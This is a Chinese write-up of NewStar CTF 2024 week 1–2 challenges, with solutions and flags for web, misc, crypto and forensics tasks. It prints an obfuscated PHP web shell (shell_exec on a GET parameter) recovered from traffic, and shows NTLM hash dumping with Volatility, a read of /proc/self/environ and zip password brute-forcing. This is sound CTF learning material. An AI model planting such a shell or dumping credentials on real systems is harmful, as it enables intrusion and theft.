NewStar-CTF-2024

文章发布时间:

最后更新时间:

页面浏览:加载中...

Week1

Web

headach3

1
2
3
4
题目内容:
头疼,帮我治治

【难度:签到】

根据题目内容查看标头

image-20241001133145684

1
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

会赢吗

1
2
3
4
5
6
题目内容:
什么是控制台?js又是什么

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

在源代码窗口找到第一部分 <!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->

image-20241001133713739

根据提示查看js代码在控制台执行获取第二段

1
2
3
恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs
……
时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l

image-20241001140416476

第三部分把已封印改成解封

1
第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x

image-20241001141412459

第四部分把JavaScript停用就行了

1
{"flag":"fSkpKcyF9","nextLevel":null}

image-20241001142600820

image-20241001142545760

1
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

1
2
3
4
5
6
题目内容:
我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢

【难度:中等】


根据提示robots.txt 得到 /backd0or.php

PangBai 过家家(1)

1
2
3
4
5
6
题目内容:
今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:中等】

Misc

decompress

1
2
3
4
5
题目内容:

正在失传的技艺之压缩包解压

【难度:简单】

解压到需要密码的地方然后根据passwd_regex_hint爆破获取密码xtr4m

image-20241001122734092

解压之后获取flag.zip继续解压获取flag

1
flag{U_R_th3_ma5ter_0f_dec0mpress}

pleasingMusic

1
2
3
4
题目内容:
一首歌可以好听到正反都好听(以flag{}形式提交,所有英文字母均为小写)

【难度:签到】

使用Audacity分析后半段亮的地方倒着解摩斯小写包flag头就行了

image-20241001124737728

1
flag{ez_morse_code}

WhereIsFlag

1
2
3
4
题目内容:
才。。。才不会告诉你我把flag藏在哪里了!

【难度:简单】

使用nc工具连接之后查看文件夹guest@engine-1 /> cat proc/self/environ文件找到flag

image-20241001131015839

Labyrinth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
题目内容:
听好了:9月30日,NewStar2024就此陷落。每抹陷落的色彩都将迎来一场漩涡,为题目带来全新的蜕变。



你所熟知的一切都将改变,你所熟悉的flag都将加诸隐写的历练。



至此,一锤定音。

尘埃,已然落定。

`#newstar# #LSB# #听好了#`

【难度:简单】

image-20241001131538358

1
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}

兑换码

1
2
3
4
题目内容:
领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。

【难度:简单】

PNG宽高隐写 使用puzzFIX-PNG或者手动更改宽高值33的位置改成E9

image-20241001132244320

image-20241001132240304

1
flag {La_vaguelette)

Crypto

Base

1
2
3
4
5
6
题目内容:
This is a base question!

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

【难度:签到】

image-20241005144217070

flag{B@sE_0f_CrYpt0_N0W}

一眼秒了

1
2
3
4
5
6
题目内容:
n小小的也很可爱

【难度:简单】

附件下载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 已知nec
e = 65537
n = 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

import gmpy2
import sympy
from Crypto.Util.number import *

n2=gmpy2.iroot(n,2)[0]
p=sympy.nextprime(n2)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
1
flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}

Week2

Misc

wireshark_checkin

1
2
3
4
题目内容:
un搭建了一个简单的http服务器,但是不小心把重要文件删除了,只剩下访问这些文件时的流量,你能帮他找到吗

【难度:签到】

wireshark追踪流找到flag

image-20241007154150744

1
flag{ez_traffic_analyze_isn't_it}

wireshark_secret

1
2
3
4
题目内容:
un偷看涩图,被抓到流量了

【难度:简单】

wireshark 文件>导出对象>HTTP

image-20241007154427613

图片里面就是flag

1
flag{you_are_gooddddd}

热心助人的小明同学

1
2
3
4
题目内容:
小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

【难度:简单】

R-STUDIO 取证查看桌面发现提示

image-20241007155501138

使用Volatility3获取hash

1
2
3
4
5
6
7
8
9
10
C:\Users\Administrator\Documents\CTF tools\取证工具\取证工具包\volatility\volatility3>python vol.py -f "C:\Users\Administrator\Documents\CTFEventfiles\NewStar CTF 2024\Week2\Misc\GongJuRenXiaoMing\image.raw"
hashdump
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
User rid lmhash nthash

Administrator 500 aad3b435b51404eeaad3b435b51404ee 10eca58175d4228ece151e287086e824
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
HomeGroupUser$ 1002 aad3b435b51404eeaad3b435b51404ee bd4667328af8beb097a299187278c48f
Xiaohong 1003 aad3b435b51404eeaad3b435b51404ee 3fa7d7d3c37b8e9baaf6ed13d70ed858

以上都没找到,使用PasswareKitForensic得到直接提交,不需要解码

image-20241007172745760

1
flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

用溯流仪见证伏特台风

1
2
3
4
5
6
7
8
9
10
11
12
13
题目内容:

漂亮国也干了。照着2024年7月8日央视新闻的方法来看看隐匿在图片下的东西吧.

新闻视频: https://b23.tv/BV1Ny411i7eM

新闻中提到的威胁盟报告里,隐藏在图片下,Domain下方那个框里所有字符的16位小写md5,包裹 flag{} 即为 flag.

提示:这个视频就是WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

【难度:简单】

网上看了几篇文章就找到了

1
powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion

image-20241007174344982

1
flag{6c3ea51b6f9d4f5e}

你也玩原神吗

1
2
3
4
题目内容:
如果你玩原神,那么你看得懂这些提瓦特文字吗?请把得到的内容用flag{}包裹

【难度:简单】

img

被骗了

image-20241007221718039

右下角解出MAYBEGENSHINISAGOODGAME栅栏

image-20241007223929743

image-20241007224018433

1
flag{maybegenshinisagoodgame}

字里行间的秘密

1
2
3
4
题目内容:
我横竖睡不着,仔细看了半夜,才从字缝里看出字来

【难度:中等】

零宽字符

image-20241007185447856

https://www.mzy0.com/ctftools/zerowidth1/

image-20241007185500940

1
文档key:it_is_k3y

加个颜色flag就出来了

image-20241007185616803

1
flag{you_h4ve_4nyth1n9}

Herta’s Study

1
2
3
4
题目内容:
黑塔女士在进行一项新的研究,她截获了银狼作为新手黑客时的渗透流量,不过这小家伙喜欢整点新花样。“在战场上,如果我牺牲了,我不希望我的代码被敌人轻易使用”

【难度:中等】

分析流量获取脚本

image-20241007191702750

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    <?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);?>

解密后

<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2'.str_rot13('==1){
$ns[$i]=s').'tr_rot13($ns[$i]);
}
}
return $ns;')
);
echo $bbb($payload);?>

写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64

def rot13(char):
# ROT13对字母进行替换
if 'a' <= char <= 'z':
return chr(((ord(char) - ord('a') + 13) % 26) + ord('a'))
elif 'A' <= char <= 'Z':
return chr(((ord(char) - ord('A') + 13) % 26) + ord('A'))
return char

def decode_payload(encoded_payload):
# Step 1: 进行反向处理(奇数位的ROT13替换)
ns = list(encoded_payload)

for i in range(len(ns)):
if i % 2 == 1: # 奇数索引
ns[i] = rot13(ns[i])

# Step 2: 将字符列表转换回字符串
processed_string = ''.join(ns)

# Step 3: Base64解码
decoded_payload = base64.b64decode(processed_string).decode()

return decoded_payload

# 示例使用
encoded_input = "ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==" # 替换为你的实际编码输入
decoded_result = decode_payload(encoded_input)
print(f"Decoded result: {decoded_result}")
1
flag{sH3_i4_S0_6eAut1fuL.}